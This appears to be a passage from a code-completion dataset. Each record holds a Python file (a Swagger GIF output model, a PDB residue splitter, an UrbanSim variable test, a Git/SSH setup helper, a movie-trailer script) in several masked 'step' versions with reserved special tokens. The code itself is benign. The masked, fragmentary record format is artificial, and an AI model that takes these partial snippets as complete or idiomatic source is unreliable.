timeline to start the GIF.\n\n :return: The start of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._start\n\n @start.setter\n def start(self, start):\n \"\"\"Sets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :param start: The start of this GIFOutput.\n :type: float\n \"\"\"\n if start is None:\n raise ValueError(\"Invalid value for `start`, must not be `None`\")\n\n self._start = start\n\n @property\n def duration(self):\n \"\"\"Gets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :return: The duration of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._duration\n\n @duration.setter\n def duration(self, duration):\n \"\"\"Sets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :param duration: The duration of this GIFOutput.\n :type: float\n \"\"\"\n\n self._duration = duration\n\n @property\n def suffix(self):\n \"\"\"Gets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :return: The suffix of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._suffix\n\n @suffix.setter\n def suffix(self, suffix):\n \"\"\"Sets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :param suffix: The suffix of this GIFOutput.\n :type: str\n \"\"\"\n\n self._suffix = suffix\n\n @property\n def overlay(self):\n \"\"\"Gets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :return: The overlay of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay\n\n @overlay.setter\n def overlay(self, overlay):\n \"\"\"Sets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :param overlay: The overlay of this GIFOutput.\n :type: str\n \"\"\"\n\n self._overlay = overlay\n\n @property\n def overlay_alignment(self):\n \"\"\"Gets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :return: The overlay_alignment of this GIFOutput.\n :rtype: list[str]\n \"\"\"\n return self._overlay_alignment\n\n @overlay_alignment.setter\n def overlay_alignment(self, overlay_alignment):\n \"\"\"Sets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :param overlay_alignment: The overlay_alignment of this GIFOutput.\n :type: list[str]\n \"\"\"\n allowed_values = [\"left\", \"center\", \"right\", \"top\", \"middle\", \"bottom\"]\n if not set(overlay_alignment).issubset(set(allowed_values)):\n raise ValueError(\n \"Invalid values for `overlay_alignment` [{0}], must be a subset of [{1}]\"\n .format(\", \".join(map(str, set(overlay_alignment) - set(allowed_values))),\n \", \".join(map(str, allowed_values)))\n )\n\n self._overlay_alignment = overlay_alignment\n\n @property\n def overlay_scale(self):\n \"\"\"Gets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :return: The overlay_scale of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay_scale\n\n @overlay_scale.setter\n def overlay_scale(self, overlay_scale):\n \"\"\"Sets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :param overlay_scale: The overlay_scale of this GIFOutput.\n :type: str\n \"\"\"\n allowed_values = [\"fit\", \"fill\", \"none\"]\n if overlay_scale not in allowed_values:\n raise ValueError(\n \"Invalid value for `overlay_scale` ({0}), must be one of {1}\"\n .format(overlay_scale, allowed_values)\n )\n\n self._overlay_scale = overlay_scale\n\n @property\n def label(self):\n \"\"\"Gets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :return: The label of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._label\n\n @label.setter\n def label(self, label):\n \"\"\"Sets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :param label: The label of this GIFOutput.\n :type: str\n \"\"\"\n\n self._label = label\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, GIFOutput):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n", "step-ids": [ 27, 28, 29, 31, 33 ] }	[ 27, 28, 29, 31, 33 ]
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> for l in pdb: if not l.startswith('ATOM'): continue if int(l[22:26]) != resid: res.append([]) resid = int(l[22:26]) res[-1].append(l) for i in range(len(res) - 2): outp = open('%s%d-%dr.pdb' % (name, i + 1, i + 3), 'w') for r in res[i:i + 3]: for j in r: print >> outp, j <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> pdb = open(sys.argv[1]) name = sys.argv[2] res = [] resid = None for l in pdb: if not l.startswith('ATOM'): continue if int(l[22:26]) != resid: res.append([]) resid = int(l[22:26]) res[-1].append(l) for i in range(len(res) - 2): outp = open('%s%d-%dr.pdb' % (name, i + 1, i + 3), 'w') for r in res[i:i + 3]: for j in r: print >> outp, j <\|reserved_special_token_1\|> import sys pdb = open(sys.argv[1]) name = sys.argv[2] res = [] resid = None for l in pdb: if not l.startswith('ATOM'): continue if int(l[22:26]) != resid: res.append([]) resid = int(l[22:26]) res[-1].append(l) for i in range(len(res) - 2): outp = open('%s%d-%dr.pdb' % (name, i + 1, i + 3), 'w') for r in res[i:i + 3]: for j in r: print >> outp, j <\|reserved_special_token_1\|> import sys pdb = open(sys.argv[1]) name = sys.argv[2] res = [] resid = None for l in pdb: if not l.startswith("ATOM"): continue if int(l[22:26]) != resid: res.append([]) resid = int(l[22:26]) res[-1].append(l) for i in range(len(res)-2): outp = open("%s%d-%dr.pdb"%(name,i+1,i+3), "w") for r in res[i:i+3]: for j in r: print >> outp, j,	flexible	{ "blob_id": "d867d17b2873de7c63d0ff29eb585cce1a68dda6", "index": 6081, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor l in pdb:\n if not l.startswith('ATOM'):\n continue\n if int(l[22:26]) != resid:\n res.append([])\n resid = int(l[22:26])\n res[-1].append(l)\nfor i in range(len(res) - 2):\n outp = open('%s%d-%dr.pdb' % (name, i + 1, i + 3), 'w')\n for r in res[i:i + 3]:\n for j in r:\n print >> outp, j\n", "step-3": "<mask token>\npdb = open(sys.argv[1])\nname = sys.argv[2]\nres = []\nresid = None\nfor l in pdb:\n if not l.startswith('ATOM'):\n continue\n if int(l[22:26]) != resid:\n res.append([])\n resid = int(l[22:26])\n res[-1].append(l)\nfor i in range(len(res) - 2):\n outp = open('%s%d-%dr.pdb' % (name, i + 1, i + 3), 'w')\n for r in res[i:i + 3]:\n for j in r:\n print >> outp, j\n", "step-4": "import sys\npdb = open(sys.argv[1])\nname = sys.argv[2]\nres = []\nresid = None\nfor l in pdb:\n if not l.startswith('ATOM'):\n continue\n if int(l[22:26]) != resid:\n res.append([])\n resid = int(l[22:26])\n res[-1].append(l)\nfor i in range(len(res) - 2):\n outp = open('%s%d-%dr.pdb' % (name, i + 1, i + 3), 'w')\n for r in res[i:i + 3]:\n for j in r:\n print >> outp, j\n", "step-5": "import sys\n\npdb = open(sys.argv[1])\nname = sys.argv[2]\n\nres = []\nresid = None\nfor l in pdb:\n if not l.startswith(\"ATOM\"):\n continue\n if int(l[22:26]) != resid:\n res.append([])\n resid = int(l[22:26])\n res[-1].append(l)\n\nfor i in range(len(res)-2):\n outp = open(\"%s%d-%dr.pdb\"%(name,i+1,i+3), \"w\")\n for r in res[i:i+3]:\n for j in r:\n print >> outp, j,\n\n\n", "step-ids": [ 0, 1, 2, 3, 4 ] }	[ 0, 1, 2, 3, 4 ]
# Opus/UrbanSim urban simulation software. # Copyright (C) 2010-2011 University of California, Berkeley, 2005-2009 University of Washington # See opus_core/LICENSE from opus_core.variables.variable import Variable from variable_functions import my_attribute_label class total_land_value_if_in_plan_type_group_SSS(Variable): """Sum of land values of locations if in plan_type_group SSS, 0 otherwise.""" def __init__(self, group): self.group = group Variable.__init__(self) def dependencies(self): return [my_attribute_label("is_in_plan_type_group_%s" % self.group), my_attribute_label("total_land_value")] def compute(self, dataset_pool): return self.get_dataset().get_attribute("is_in_plan_type_group_%s" % self.group) * \ self.get_dataset().get_attribute("total_land_value") def post_check(self, values, dataset_pool): self.do_check("x >= 0", values) from opus_core.tests import opus_unittest from opus_core.tests.utils.variable_tester import VariableTester from numpy import array class Tests(opus_unittest.OpusTestCase): def test_my_inputs(self): total_land_value = array([100, 200, 300]) is_in_plan_type_group_residential = array([1, 0, 1]) tester = VariableTester( __file__, package_order=['urbansim'], test_data={ "gridcell":{ "grid_id":array([1,2,3]), "total_land_value":total_land_value, "is_in_plan_type_group_residential":is_in_plan_type_group_residential } } ) should_be = array([100, 0, 300]) instance_name = "urbansim.gridcell.total_land_value_if_in_plan_type_group_residential" tester.test_is_equal_for_family_variable(self, should_be, instance_name) if __name__=='__main__': opus_unittest.main()	normal	{ "blob_id": "52bb10e19c7a5645ca3cf91705b9b0affe75f570", "index": 4764, "step-1": "<mask token>\n\n\nclass total_land_value_if_in_plan_type_group_SSS(Variable):\n <mask token>\n\n def __init__(self, group):\n self.group = group\n Variable.__init__(self)\n\n def dependencies(self):\n return [my_attribute_label('is_in_plan_type_group_%s' % self.group),\n my_attribute_label('total_land_value')]\n\n def compute(self, dataset_pool):\n return self.get_dataset().get_attribute('is_in_plan_type_group_%s' %\n self.group) * self.get_dataset().get_attribute('total_land_value')\n <mask token>\n\n\n<mask token>\n\n\nclass Tests(opus_unittest.OpusTestCase):\n\n def test_my_inputs(self):\n total_land_value = array([100, 200, 300])\n is_in_plan_type_group_residential = array([1, 0, 1])\n tester = VariableTester(__file__, package_order=['urbansim'],\n test_data={'gridcell': {'grid_id': array([1, 2, 3]),\n 'total_land_value': total_land_value,\n 'is_in_plan_type_group_residential':\n is_in_plan_type_group_residential}})\n should_be = array([100, 0, 300])\n instance_name = (\n 'urbansim.gridcell.total_land_value_if_in_plan_type_group_residential'\n )\n tester.test_is_equal_for_family_variable(self, should_be, instance_name\n )\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass total_land_value_if_in_plan_type_group_SSS(Variable):\n <mask token>\n\n def __init__(self, group):\n self.group = group\n Variable.__init__(self)\n\n def dependencies(self):\n return [my_attribute_label('is_in_plan_type_group_%s' % self.group),\n my_attribute_label('total_land_value')]\n\n def compute(self, dataset_pool):\n return self.get_dataset().get_attribute('is_in_plan_type_group_%s' %\n self.group) * self.get_dataset().get_attribute('total_land_value')\n\n def post_check(self, values, dataset_pool):\n self.do_check('x >= 0', values)\n\n\n<mask token>\n\n\nclass Tests(opus_unittest.OpusTestCase):\n\n def test_my_inputs(self):\n total_land_value = array([100, 200, 300])\n is_in_plan_type_group_residential = array([1, 0, 1])\n tester = VariableTester(__file__, package_order=['urbansim'],\n test_data={'gridcell': {'grid_id': array([1, 2, 3]),\n 'total_land_value': total_land_value,\n 'is_in_plan_type_group_residential':\n is_in_plan_type_group_residential}})\n should_be = array([100, 0, 300])\n instance_name = (\n 'urbansim.gridcell.total_land_value_if_in_plan_type_group_residential'\n )\n tester.test_is_equal_for_family_variable(self, should_be, instance_name\n )\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass total_land_value_if_in_plan_type_group_SSS(Variable):\n \"\"\"Sum of land values of locations if in plan_type_group SSS, 0 otherwise.\"\"\"\n\n def __init__(self, group):\n self.group = group\n Variable.__init__(self)\n\n def dependencies(self):\n return [my_attribute_label('is_in_plan_type_group_%s' % self.group),\n my_attribute_label('total_land_value')]\n\n def compute(self, dataset_pool):\n return self.get_dataset().get_attribute('is_in_plan_type_group_%s' %\n self.group) * self.get_dataset().get_attribute('total_land_value')\n\n def post_check(self, values, dataset_pool):\n self.do_check('x >= 0', values)\n\n\n<mask token>\n\n\nclass Tests(opus_unittest.OpusTestCase):\n\n def test_my_inputs(self):\n total_land_value = array([100, 200, 300])\n is_in_plan_type_group_residential = array([1, 0, 1])\n tester = VariableTester(__file__, package_order=['urbansim'],\n test_data={'gridcell': {'grid_id': array([1, 2, 3]),\n 'total_land_value': total_land_value,\n 'is_in_plan_type_group_residential':\n is_in_plan_type_group_residential}})\n should_be = array([100, 0, 300])\n instance_name = (\n 'urbansim.gridcell.total_land_value_if_in_plan_type_group_residential'\n )\n tester.test_is_equal_for_family_variable(self, should_be, instance_name\n )\n\n\nif __name__ == '__main__':\n opus_unittest.main()\n", "step-4": "from opus_core.variables.variable import Variable\nfrom variable_functions import my_attribute_label\n\n\nclass total_land_value_if_in_plan_type_group_SSS(Variable):\n \"\"\"Sum of land values of locations if in plan_type_group SSS, 0 otherwise.\"\"\"\n\n def __init__(self, group):\n self.group = group\n Variable.__init__(self)\n\n def dependencies(self):\n return [my_attribute_label('is_in_plan_type_group_%s' % self.group),\n my_attribute_label('total_land_value')]\n\n def compute(self, dataset_pool):\n return self.get_dataset().get_attribute('is_in_plan_type_group_%s' %\n self.group) * self.get_dataset().get_attribute('total_land_value')\n\n def post_check(self, values, dataset_pool):\n self.do_check('x >= 0', values)\n\n\nfrom opus_core.tests import opus_unittest\nfrom opus_core.tests.utils.variable_tester import VariableTester\nfrom numpy import array\n\n\nclass Tests(opus_unittest.OpusTestCase):\n\n def test_my_inputs(self):\n total_land_value = array([100, 200, 300])\n is_in_plan_type_group_residential = array([1, 0, 1])\n tester = VariableTester(__file__, package_order=['urbansim'],\n test_data={'gridcell': {'grid_id': array([1, 2, 3]),\n 'total_land_value': total_land_value,\n 'is_in_plan_type_group_residential':\n is_in_plan_type_group_residential}})\n should_be = array([100, 0, 300])\n instance_name = (\n 'urbansim.gridcell.total_land_value_if_in_plan_type_group_residential'\n )\n tester.test_is_equal_for_family_variable(self, should_be, instance_name\n )\n\n\nif __name__ == '__main__':\n opus_unittest.main()\n", "step-5": "# Opus/UrbanSim urban simulation software.\r\n# Copyright (C) 2010-2011 University of California, Berkeley, 2005-2009 University of Washington\r\n# See opus_core/LICENSE\r\n\r\nfrom opus_core.variables.variable import Variable\r\nfrom variable_functions import my_attribute_label\r\n\r\nclass total_land_value_if_in_plan_type_group_SSS(Variable):\r\n \"\"\"Sum of land values of locations if in plan_type_group SSS, 0 otherwise.\"\"\"\r\n\r\n def __init__(self, group):\r\n self.group = group\r\n Variable.__init__(self)\r\n\r\n def dependencies(self):\r\n return [my_attribute_label(\"is_in_plan_type_group_%s\" % self.group), \r\n my_attribute_label(\"total_land_value\")]\r\n\r\n def compute(self, dataset_pool):\r\n return self.get_dataset().get_attribute(\"is_in_plan_type_group_%s\" % self.group) * \\\r\n self.get_dataset().get_attribute(\"total_land_value\")\r\n\r\n def post_check(self, values, dataset_pool):\r\n self.do_check(\"x >= 0\", values)\r\n\r\n\r\nfrom opus_core.tests import opus_unittest\r\nfrom opus_core.tests.utils.variable_tester import VariableTester\r\nfrom numpy import array\r\nclass Tests(opus_unittest.OpusTestCase):\r\n def test_my_inputs(self):\r\n total_land_value = array([100, 200, 300])\r\n is_in_plan_type_group_residential = array([1, 0, 1])\r\n\r\n tester = VariableTester(\r\n __file__,\r\n package_order=['urbansim'],\r\n test_data={\r\n \"gridcell\":{ \r\n \"grid_id\":array([1,2,3]),\r\n \"total_land_value\":total_land_value, \r\n \"is_in_plan_type_group_residential\":is_in_plan_type_group_residential\r\n }\r\n }\r\n )\r\n \r\n should_be = array([100, 0, 300])\r\n instance_name = \"urbansim.gridcell.total_land_value_if_in_plan_type_group_residential\"\r\n tester.test_is_equal_for_family_variable(self, should_be, instance_name)\r\n\r\n\r\nif __name__=='__main__':\r\n opus_unittest.main()", "step-ids": [ 6, 7, 9, 10, 11 ] }	[ 6, 7, 9, 10, 11 ]
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> import numpy import math import operator <\|reserved_special_token_1\|> import numpy #Matrixmultiplikation #Matrixinvertierung #nicht p inv #selbst invertierbar machen import math import operator	flexible	{ "blob_id": "ece20c8c8fae2225cbac3552e254314b7116057c", "index": 7095, "step-1": "<mask token>\n", "step-2": "import numpy\nimport math\nimport operator\n", "step-3": "import numpy\n#Matrixmultiplikation\n#Matrixinvertierung\n#nicht p inv\n#selbst invertierbar machen\n\nimport math\nimport operator", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }	[ 0, 1, 2 ]
<\|reserved_special_token_0\|> def init_ssh(key: str, key_path: Path) ->None: if not key: logging.warning('Private Key required for SSH Git') return logging.info('Private Key found, writing to disk') key_path.mkdir(exist_ok=True) key_file = Path(key_path, 'id_rsa') if not key_file.exists(): key_file.write_text(f'{key}\n', encoding='UTF-8') key_file.chmod(256) scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'], stdout=subprocess.PIPE, check=False) Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8' ), encoding='UTF-8') <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def init_ssh(key: str, key_path: Path) ->None: if not key: logging.warning('Private Key required for SSH Git') return logging.info('Private Key found, writing to disk') key_path.mkdir(exist_ok=True) key_file = Path(key_path, 'id_rsa') if not key_file.exists(): key_file.write_text(f'{key}\n', encoding='UTF-8') key_file.chmod(256) scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'], stdout=subprocess.PIPE, check=False) Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8' ), encoding='UTF-8') def repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) ->bool: if repo.working_dir: relative_file = Path(filename).relative_to(repo.working_dir).as_posix() if relative_file in repo.untracked_files: return True if relative_file in [x.a_path for x in repo.index.diff(None)]: return True return False <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def init_repo(metadata: str, path: str, deep_clone: bool) ->Repo: clone_path = Path(path) if not clone_path.exists(): logging.info('Cloning %s', metadata) repo = Repo.clone_from(metadata, clone_path ) if deep_clone else Repo.clone_from(metadata, clone_path, depth=1) else: repo = Repo(clone_path) return repo def init_ssh(key: str, key_path: Path) ->None: if not key: logging.warning('Private Key required for SSH Git') return logging.info('Private Key found, writing to disk') key_path.mkdir(exist_ok=True) key_file = Path(key_path, 'id_rsa') if not key_file.exists(): key_file.write_text(f'{key}\n', encoding='UTF-8') key_file.chmod(256) scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'], stdout=subprocess.PIPE, check=False) Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8' ), encoding='UTF-8') def repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) ->bool: if repo.working_dir: relative_file = Path(filename).relative_to(repo.working_dir).as_posix() if relative_file in repo.untracked_files: return True if relative_file in [x.a_path for x in repo.index.diff(None)]: return True return False <\|reserved_special_token_1\|> import logging import subprocess from pathlib import Path from typing import Union from git import Repo def init_repo(metadata: str, path: str, deep_clone: bool) ->Repo: clone_path = Path(path) if not clone_path.exists(): logging.info('Cloning %s', metadata) repo = Repo.clone_from(metadata, clone_path ) if deep_clone else Repo.clone_from(metadata, clone_path, depth=1) else: repo = Repo(clone_path) return repo def init_ssh(key: str, key_path: Path) ->None: if not key: logging.warning('Private Key required for SSH Git') return logging.info('Private Key found, writing to disk') key_path.mkdir(exist_ok=True) key_file = Path(key_path, 'id_rsa') if not key_file.exists(): key_file.write_text(f'{key}\n', encoding='UTF-8') key_file.chmod(256) scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'], stdout=subprocess.PIPE, check=False) Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8' ), encoding='UTF-8') def repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) ->bool: if repo.working_dir: relative_file = Path(filename).relative_to(repo.working_dir).as_posix() if relative_file in repo.untracked_files: return True if relative_file in [x.a_path for x in repo.index.diff(None)]: return True return False <\|reserved_special_token_1\|> import logging import subprocess from pathlib import Path from typing import Union from git import Repo def init_repo(metadata: str, path: str, deep_clone: bool) -> Repo: clone_path = Path(path) if not clone_path.exists(): logging.info('Cloning %s', metadata) repo = (Repo.clone_from(metadata, clone_path) if deep_clone else Repo.clone_from(metadata, clone_path, depth=1)) else: repo = Repo(clone_path) return repo def init_ssh(key: str, key_path: Path) -> None: if not key: logging.warning('Private Key required for SSH Git') return logging.info('Private Key found, writing to disk') key_path.mkdir(exist_ok=True) key_file = Path(key_path, 'id_rsa') if not key_file.exists(): key_file.write_text(f'{key}\n', encoding='UTF-8') key_file.chmod(0o400) scan = subprocess.run([ 'ssh-keyscan', '-t', 'rsa', 'github.com' ], stdout=subprocess.PIPE, check=False) Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'), encoding='UTF-8') def repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) -> bool: if repo.working_dir: relative_file = Path(filename).relative_to(repo.working_dir).as_posix() if relative_file in repo.untracked_files: return True if relative_file in [ x.a_path for x in repo.index.diff(None)]: return True return False	flexible	{ "blob_id": "cb2dd08a09d2e39bd83f82940c3d9a79a5a27918", "index": 6523, "step-1": "<mask token>\n\n\ndef init_ssh(key: str, key_path: Path) ->None:\n if not key:\n logging.warning('Private Key required for SSH Git')\n return\n logging.info('Private Key found, writing to disk')\n key_path.mkdir(exist_ok=True)\n key_file = Path(key_path, 'id_rsa')\n if not key_file.exists():\n key_file.write_text(f'{key}\\n', encoding='UTF-8')\n key_file.chmod(256)\n scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'],\n stdout=subprocess.PIPE, check=False)\n Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'\n ), encoding='UTF-8')\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef init_ssh(key: str, key_path: Path) ->None:\n if not key:\n logging.warning('Private Key required for SSH Git')\n return\n logging.info('Private Key found, writing to disk')\n key_path.mkdir(exist_ok=True)\n key_file = Path(key_path, 'id_rsa')\n if not key_file.exists():\n key_file.write_text(f'{key}\\n', encoding='UTF-8')\n key_file.chmod(256)\n scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'],\n stdout=subprocess.PIPE, check=False)\n Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'\n ), encoding='UTF-8')\n\n\ndef repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) ->bool:\n if repo.working_dir:\n relative_file = Path(filename).relative_to(repo.working_dir).as_posix()\n if relative_file in repo.untracked_files:\n return True\n if relative_file in [x.a_path for x in repo.index.diff(None)]:\n return True\n return False\n", "step-3": "<mask token>\n\n\ndef init_repo(metadata: str, path: str, deep_clone: bool) ->Repo:\n clone_path = Path(path)\n if not clone_path.exists():\n logging.info('Cloning %s', metadata)\n repo = Repo.clone_from(metadata, clone_path\n ) if deep_clone else Repo.clone_from(metadata, clone_path, depth=1)\n else:\n repo = Repo(clone_path)\n return repo\n\n\ndef init_ssh(key: str, key_path: Path) ->None:\n if not key:\n logging.warning('Private Key required for SSH Git')\n return\n logging.info('Private Key found, writing to disk')\n key_path.mkdir(exist_ok=True)\n key_file = Path(key_path, 'id_rsa')\n if not key_file.exists():\n key_file.write_text(f'{key}\\n', encoding='UTF-8')\n key_file.chmod(256)\n scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'],\n stdout=subprocess.PIPE, check=False)\n Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'\n ), encoding='UTF-8')\n\n\ndef repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) ->bool:\n if repo.working_dir:\n relative_file = Path(filename).relative_to(repo.working_dir).as_posix()\n if relative_file in repo.untracked_files:\n return True\n if relative_file in [x.a_path for x in repo.index.diff(None)]:\n return True\n return False\n", "step-4": "import logging\nimport subprocess\nfrom pathlib import Path\nfrom typing import Union\nfrom git import Repo\n\n\ndef init_repo(metadata: str, path: str, deep_clone: bool) ->Repo:\n clone_path = Path(path)\n if not clone_path.exists():\n logging.info('Cloning %s', metadata)\n repo = Repo.clone_from(metadata, clone_path\n ) if deep_clone else Repo.clone_from(metadata, clone_path, depth=1)\n else:\n repo = Repo(clone_path)\n return repo\n\n\ndef init_ssh(key: str, key_path: Path) ->None:\n if not key:\n logging.warning('Private Key required for SSH Git')\n return\n logging.info('Private Key found, writing to disk')\n key_path.mkdir(exist_ok=True)\n key_file = Path(key_path, 'id_rsa')\n if not key_file.exists():\n key_file.write_text(f'{key}\\n', encoding='UTF-8')\n key_file.chmod(256)\n scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'],\n stdout=subprocess.PIPE, check=False)\n Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'\n ), encoding='UTF-8')\n\n\ndef repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) ->bool:\n if repo.working_dir:\n relative_file = Path(filename).relative_to(repo.working_dir).as_posix()\n if relative_file in repo.untracked_files:\n return True\n if relative_file in [x.a_path for x in repo.index.diff(None)]:\n return True\n return False\n", "step-5": "import logging\nimport subprocess\nfrom pathlib import Path\nfrom typing import Union\nfrom git import Repo\n\n\ndef init_repo(metadata: str, path: str, deep_clone: bool) -> Repo:\n clone_path = Path(path)\n if not clone_path.exists():\n logging.info('Cloning %s', metadata)\n repo = (Repo.clone_from(metadata, clone_path)\n if deep_clone else\n Repo.clone_from(metadata, clone_path, depth=1))\n else:\n repo = Repo(clone_path)\n return repo\n\n\ndef init_ssh(key: str, key_path: Path) -> None:\n if not key:\n logging.warning('Private Key required for SSH Git')\n return\n logging.info('Private Key found, writing to disk')\n key_path.mkdir(exist_ok=True)\n key_file = Path(key_path, 'id_rsa')\n if not key_file.exists():\n key_file.write_text(f'{key}\\n', encoding='UTF-8')\n key_file.chmod(0o400)\n scan = subprocess.run([\n 'ssh-keyscan', '-t', 'rsa', 'github.com'\n ], stdout=subprocess.PIPE, check=False)\n Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'), encoding='UTF-8')\n\n\ndef repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) -> bool:\n if repo.working_dir:\n relative_file = Path(filename).relative_to(repo.working_dir).as_posix()\n if relative_file in repo.untracked_files:\n return True\n if relative_file in [\n x.a_path for x in repo.index.diff(None)]:\n return True\n return False\n", "step-ids": [ 1, 2, 3, 4, 5 ] }	[ 1, 2, 3, 4, 5 ]

<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> fresh_tomatoes.open_movies_page(movies) <|reserved_special_token_1|> <|reserved_special_token_0|> toy_story = media.Movie('Toy Story', 'A story of a boy and his toys that come to life', '<a href="https://en.wikipedia.org/wiki/File:Toy_Story.jpg#/media/File:Toy_Story.jpg"><img src="https://upload.wikimedia.org/wikipedia/en/1/13/Toy_Story.jpg" alt="The poster features Woody anxiously holding onto Buzz Lightyear as he flies in Andy\'s room. Below them sitting on the bed are Bo Peep, Mr. Potato Head, Troll, Hamm, Slinky, Sarge and Rex. In the lower right center of the image is the film\'s title. The background shows the cloud wallpaper featured in the bedroom."></a> By From <a rel="nofollow" class="external text" href="http://www.impawards.com/1995/toy_story_ver1.html">impawards</a>., <a href="https://en.wikipedia.org/w/index.php?curid=26009601">Link</a>' , 'https://youtu.be/KYz2wyBy3kc') avatar = media.Movie('Avatar', 'A marine on an alien planet', '<a href="https://en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg#/media/File:Avatar-Teaser-Poster.jpg"><img src="https://upload.wikimedia.org/wikipedia/en/b/b0/Avatar-Teaser-Poster.jpg" alt="Avatar-Teaser-Poster.jpg"></a> By Source, <a href="//en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg" title="Fair use of copyrighted material in the context of Avatar (2009 film)">Fair use</a>, <a href="https://en.wikipedia.org/w/index.php?curid=23732044">Link</a>' , 'https://youtu.be/5PSNL1qE6VY') movies = [toy_story, avatar] fresh_tomatoes.open_movies_page(movies) <|reserved_special_token_1|> import media import fresh_tomatoes toy_story = media.Movie('Toy Story', 'A story of a boy and his toys that come to life', '<a href="https://en.wikipedia.org/wiki/File:Toy_Story.jpg#/media/File:Toy_Story.jpg"><img src="https://upload.wikimedia.org/wikipedia/en/1/13/Toy_Story.jpg" alt="The poster features Woody anxiously holding onto Buzz Lightyear as he flies in Andy\'s room. Below them sitting on the bed are Bo Peep, Mr. Potato Head, Troll, Hamm, Slinky, Sarge and Rex. In the lower right center of the image is the film\'s title. The background shows the cloud wallpaper featured in the bedroom."></a> By From <a rel="nofollow" class="external text" href="http://www.impawards.com/1995/toy_story_ver1.html">impawards</a>., <a 